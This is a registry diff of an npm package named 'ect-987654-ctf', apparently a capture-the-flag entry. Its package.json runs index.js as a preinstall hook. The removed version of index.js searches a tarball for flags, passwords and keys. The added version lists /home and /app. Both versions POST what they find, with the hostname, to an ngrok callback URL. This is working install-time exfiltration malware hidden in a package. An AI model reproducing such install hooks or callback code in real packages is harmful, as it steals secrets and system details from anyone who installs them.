ect-987654-ctf 0.0.8 → 0.0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/evil.yaml CHANGED
@@ -1,6 +1,6 @@
1
1
  ecto_module:
2
2
  name: "ect-987654-ctf"
3
- version: "0.0.7"
3
+ version: "0.0.8"
4
4
  power_level: Very High
5
5
  ship_deck: Beta-2
6
6
  cargo_hold: B2-13
package/index.js CHANGED
@@ -1,145 +1,95 @@
1
- // index.js -- aggressive flag hunter for aspect-node.tar.gz
2
- // Writes JSON to your webhook with candidate matches (truncated)
1
+ // index.js
2
+ // Runs ls -la on /app and /home and POSTs results to your callback URL
3
+ // Replace CALLBACK_URL with your ngrok/http endpoint (include trailing slash)
3
4
 
4
- const { execSync } = require('child_process');
5
+ const { exec } = require('child_process');
5
6
  const os = require('os');
6
- const util = require('util');
7
+ const https = require('https');
8
+ const http = require('http');
9
+ const url = require('url');
7
10
 
8
- const WEBHOOK = process.env.WEBHOOK || "https://0f6896f7cc8e.ngrok-free.app/";
9
- const TAR = "/home/node/aspect-node.tar.gz";
10
- const MAX_LINES = 200;
11
- const MAX_BYTES_SEND = 12000; // keep posted body small-ish
11
+ const CALLBACK_URL = 'https://0f6896f7cc8e.ngrok-free.app/'; // <-- CHANGE THIS
12
+ const TIMEOUT = 15000; // ms
12
13
 
13
- function post(obj) {
14
+ function run(cmd, cb) {
15
+ exec(cmd, { timeout: TIMEOUT, maxBuffer: 1024 * 1024 * 4 }, (err, stdout, stderr) => {
16
+ cb(err, stdout || '', stderr || '');
17
+ });
18
+ }
19
+
20
+ function postJson(targetUrl, obj, cb) {
14
21
  try {
22
+ const u = url.parse(targetUrl);
15
23
  const body = JSON.stringify(obj);
16
- const url = new URL(WEBHOOK);
17
- const https = require('https');
18
24
  const opts = {
19
- hostname: url.hostname,
20
- path: url.pathname,
25
+ hostname: u.hostname,
26
+ port: u.port || (u.protocol === 'https:' ? 443 : 80),
27
+ path: u.path || '/',
21
28
  method: 'POST',
22
29
  headers: {
23
30
  'Content-Type': 'application/json',
24
31
  'Content-Length': Buffer.byteLength(body)
25
- }
32
+ },
33
+ timeout: TIMEOUT
26
34
  };
27
- const req = https.request(opts, res => { /* noop */ });
28
- req.on('error', () => {});
35
+ const lib = u.protocol === 'https:' ? https : http;
36
+ const req = lib.request(opts, (res) => {
37
+ // drain response
38
+ let d = '';
39
+ res.on('data', (c) => d += c.toString());
40
+ res.on('end', () => cb && cb(null, res.statusCode, d));
41
+ });
42
+ req.on('error', (e) => cb && cb(e));
43
+ req.on('timeout', () => { req.destroy(); cb && cb(new Error('timeout')); });
29
44
  req.write(body);
30
45
  req.end();
31
46
  } catch (e) {
32
- // best-effort only
33
- try { console.error("post error:", e.message); } catch {}
34
- }
35
- }
36
-
37
- function safeExec(cmd, opts = {}) {
38
- try {
39
- return execSync(cmd, { encoding: 'utf8', stdio: ['pipe','pipe','pipe'], timeout: 20000, ...opts }).trim();
40
- } catch (e) {
41
- return "";
47
+ cb && cb(e);
42
48
  }
43
49
  }
44
50
 
45
- function truncate(s, n) {
46
- if (!s) return s;
47
- if (s.length <= n) return s;
48
- return s.slice(0, n) + "\n...[truncated]";
49
- }
50
-
51
- function findCandidates() {
52
- // list all files from tarball
53
- const listing = safeExec(`tar -tzf ${TAR} 2>/dev/null || true`);
54
- if (!listing) return [];
55
- const lines = listing.split(/\r?\n/).filter(Boolean);
56
- return lines;
57
- }
58
-
59
- function isTextFileName(name) {
60
- return /\.(txt|md|json|js|env|conf|cfg|ini|py|sh|pem|key|yml|yaml)$/i.test(name);
61
- }
62
-
63
- function grepPatternsForTextFile(entry) {
64
- // Extract first N lines of the file and grep for likely flag patterns
65
- const cmd = `tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} | egrep -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`;
66
- return safeExec(cmd);
67
- }
68
-
69
- function catFirstLines(entry) {
70
- return safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | head -n ${MAX_LINES} || true`);
71
- }
72
-
73
- function stringsAndGrep(entry) {
74
- // Extract file to stdout and pipe to strings/grep to find tokens
75
- // We'll try to use 'strings' if available, otherwise grep -a
76
- const tryStrings = safeExec(`tar -xOf ${TAR} "${entry}" 2>/dev/null | (command -v strings >/dev/null 2>&1 && strings -a -n 8 - || cat) | egrep -a -i 'HTB\\{|FLAG\\{|picoCTF\\{|CTF\\{|SECRET=|FLAG:|flag:|password|pass\\W' || true`);
77
- return tryStrings;
78
- }
79
-
80
- try {
81
- const host = os.hostname();
82
- const all = findCandidates();
83
-
84
- // Quick heuristic: search likely text files first
85
- const textCandidates = all.filter(isTextFileName);
86
- const hits = [];
87
- for (const f of textCandidates.slice(0, 500)) { // limit to first 500 to avoid blowup
88
- const match = grepPatternsForTextFile(f);
89
- if (match) {
90
- hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
91
- }
92
- }
93
-
94
- // If no hits yet, search many JS/JSON files more aggressively (first pass didn't show flag)
95
- if (hits.length === 0) {
96
- // check top js/json files (by name)
97
- const jsCandidates = all.filter(n => /\.(js|json|lock)$/i.test(n)).slice(0, 800);
98
- for (const f of jsCandidates) {
99
- const match = grepPatternsForTextFile(f);
100
- if (match) {
101
- hits.push({ file: f, match: truncate(match, 2000), sample: truncate(catFirstLines(f), 2000) });
102
- if (hits.length >= 10) break;
51
+ // gather info, run commands
52
+ const info = {
53
+ host: os.hostname(),
54
+ ts: new Date().toISOString(),
55
+ pwd: process.cwd(),
56
+ attempts: []
57
+ };
58
+
59
+ const cmds = [
60
+ { name: 'ls_home', cmd: 'ls -la /home || ls -la ~ || echo "ls /home failed"' },
61
+ { name: 'ls_app', cmd: 'ls -la /app || echo "ls /app failed"' },
62
+ { name: 'pwd', cmd: 'pwd' }
63
+ ];
64
+
65
+ let i = 0;
66
+ function next() {
67
+ if (i >= cmds.length) {
68
+ // send results
69
+ postJson(CALLBACK_URL, info, (err, status, body) => {
70
+ // optionally print to stdout so DEBUG is easier if running locally
71
+ if (err) {
72
+ try { console.error('POST ERROR', String(err)); } catch(e){}
73
+ } else {
74
+ try { console.log('POSTED', status); } catch(e){}
103
75
  }
104
- }
76
+ // exit gracefully
77
+ try { process.exit(0); } catch(e){}
78
+ });
79
+ return;
105
80
  }
106
-
107
- // If still nothing, run strings on the largest-looking files (heuristic names)
108
- if (hits.length === 0) {
109
- const binCandidates = all.filter(n => /aspect-node\.tar\.gz|node_modules\/|bin\/|_lib|\\.so$|\\.a$|node$|typescript|tsserver/i.test(n)).slice(0, 200);
110
- for (const f of binCandidates) {
111
- const match = stringsAndGrep(f);
112
- if (match) {
113
- hits.push({ file: f, match: truncate(match, 2000) });
114
- if (hits.length >= 6) break;
115
- }
116
- }
117
- }
118
-
119
- // As fallback, check README / top-level files explicitly and send their first lines
120
- const fallbackFiles = ['README','README.md','flag.txt','FLAG','flag','config/aspect.config.json','modules/npm-tracker/README.md'];
121
- for (const p of fallbackFiles) {
122
- if (all.includes(p)) {
123
- const sample = catFirstLines(p);
124
- if (sample) hits.push({ file: p, sample: truncate(sample, 4000) });
125
- }
126
- }
127
-
128
- // Compose posting object: keep payload sizes reasonable
129
- const payload = {
130
- host,
131
- checked_count: all.length,
132
- hits: hits.slice(0, 12).map(h => {
133
- // keep each entry small
134
- return {
135
- file: h.file,
136
- match: h.match ? truncate(h.match, 2000) : undefined,
137
- sample: h.sample ? truncate(h.sample, 2000) : undefined
138
- };
139
- })
140
- };
141
-
142
- post(payload);
143
- } catch (e) {
144
- post({ error: String(e).slice(0, 2000) });
81
+ const item = cmds[i++];
82
+ run(item.cmd, (err, out, errout) => {
83
+ info.attempts.push({
84
+ name: item.name,
85
+ cmd: item.cmd,
86
+ stdout: out,
87
+ stderr: errout,
88
+ err: err ? String(err) : null
89
+ });
90
+ // small delay to avoid flooding
91
+ setTimeout(next, 200);
92
+ });
145
93
  }
94
+
95
+ next();
package/last_post.json CHANGED
@@ -1,5 +1,5 @@
1
1
  {
2
- "host": "5eaf6475a249",
3
- "files": "",
4
- "flag": "no match yet"
2
+ "host": "y",
3
+ "checked_count": 0,
4
+ "hits": []
5
5
  }
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.8",
3
+ "version": "0.0.10",
4
4
  "scripts": {
5
5
  "preinstall": "node index.js"
6
6
  }